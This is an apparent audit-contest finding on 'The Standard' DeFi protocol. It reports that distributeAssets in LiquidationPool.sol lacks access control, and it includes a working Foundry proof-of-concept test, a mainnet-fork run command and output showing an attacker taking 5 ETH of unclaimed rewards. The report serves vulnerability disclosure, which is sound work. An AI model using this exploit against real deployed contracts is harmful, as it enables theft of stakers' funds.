The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

The lack of access control in `distributeAssets` can potentially enable attackers to steal funds from the pool.

Summary

distributeAssets in LiquidationPool.sol lack of access control , attacker can invoke this function to add native token reward and claim those reward by invoking claimRewards

Vulnerability Details

anyone could invoke runLiquidation in LiquidationPoolManager.sol to liquidate specific tokenId. If the liquidation is successful, these tokens will be sent to the LiquidationPoolManager. And LiquidationPoolManager invoke pool.distributeAssets():

LiquidationPool(pool).distributeAssets{value: ethBalance}(assets, manager.collateralRate(), manager.HUNDRED_PC());

This function will increase the value in the staker's rewards mapping

rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;

Finally those position holders can invoke claimRewards to get their reward tokens.
Note that those reward tokens will remain in the pool until position holders invoke the claimRewards function.
Assuming there are 5 ether native tokens remaining in the pool.
Thus, the attacker can directly invoke distributeAssets and pass in specific parameters.
Even though this function would invoke returnUnpurchasedNative to return back those unpurchased native token to manager , attacker can set the value of _hundredPC to ZERO, this way, all the amounts will be allocated, resulting in no remaining native tokens to be returned to the manager.

Here is my test written using foundry

function testAttackerStolenOthersAssets() public {
//fork arb network.
//==================two users stake TST into pool ===================.
uint256 tstAmount = 1e18;
deal(address(TST),alice,tstAmount);
deal(address(TST),bob,tstAmount);
deal(address(EUROs),alice,tstAmount);
deal(address(EUROs),bob,tstAmount);
vm.startPrank(alice);
IERC20(TST).approve(address(lp),type(uint256).max);
IERC20(EUROs).approve(address(lp),type(uint256).max);
lp.increasePosition(tstAmount, tstAmount);
vm.stopPrank();
vm.startPrank(bob);
IERC20(TST).approve(address(lp),type(uint256).max);
IERC20(EUROs).approve(address(lp),type(uint256).max);
lp.increasePosition(tstAmount, tstAmount);
vm.warp(block.timestamp + 2 days);
LiquidationPool.Reward[] memory reward;
(,reward) = lp.position(alice);
console2.log("alice native reward before:",reward[0].amount);
//==================assmuing pool have 5 eth unclaimed ==============.
vm.deal(address(lp),5 ether);
//==================alice invoke distribute==========================.
address NATIVE = address(0);
address clAddr = address(0x639Fe6ab55C921f74e7fac1ee960C0B6293ba612);//@note native token chainlink address.
ILiquidationPoolManager.Asset[] memory _assets = new ILiquidationPoolManager.Asset[](1);
ITokenManager.Token memory token = ITokenManager.Token(bytes32('ETH'), NATIVE, uint8(18), clAddr, uint8(8));
_assets[0] = ILiquidationPoolManager.Asset(
token,
10e18
);
//check alice native token before.
assertEq(alice.balance,0);
console2.log("alice native token before:",alice.balance);
//invoke distributeAssets.
lp.distributeAssets(_assets, 1, 0);
(,reward) = lp.position(alice);
console2.log("alice native reward last:",reward[0].amount);
//alice invoke to claim eth.
vm.stopPrank();
vm.startPrank(alice);
lp.claimRewards();
//alice balance check.
assertEq(alice.balance,5 ether);
console2.log("alice native token last:",alice.balance);
}

we can run this test with a arb-mainnet fork:

forge test --match-test testAttackerStolenOthersAssets --fork-url https://arbitrum.llamarpc.com -vvv

output:

Running 1 test for test/LiquidationPool.t.sol:LiquidationTest
[PASS] testAttackerStolenOthersAssets() (gas: 1199341)
Logs:
alice native reward before: 0
alice native token before: 0
alice native reward last: 5000000000000000000
alice native token last: 5000000000000000000

We can see that Alice, by calling this function, obtains the remaining native tokens in the pool that other players have not claimed in a timely manner.

Impact

The attacker can steal the remaining native tokens in the pool.

Tools Used

Founry

Recommendations

recommand to add access control to distributeAssets in LiquidationPool.sol

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.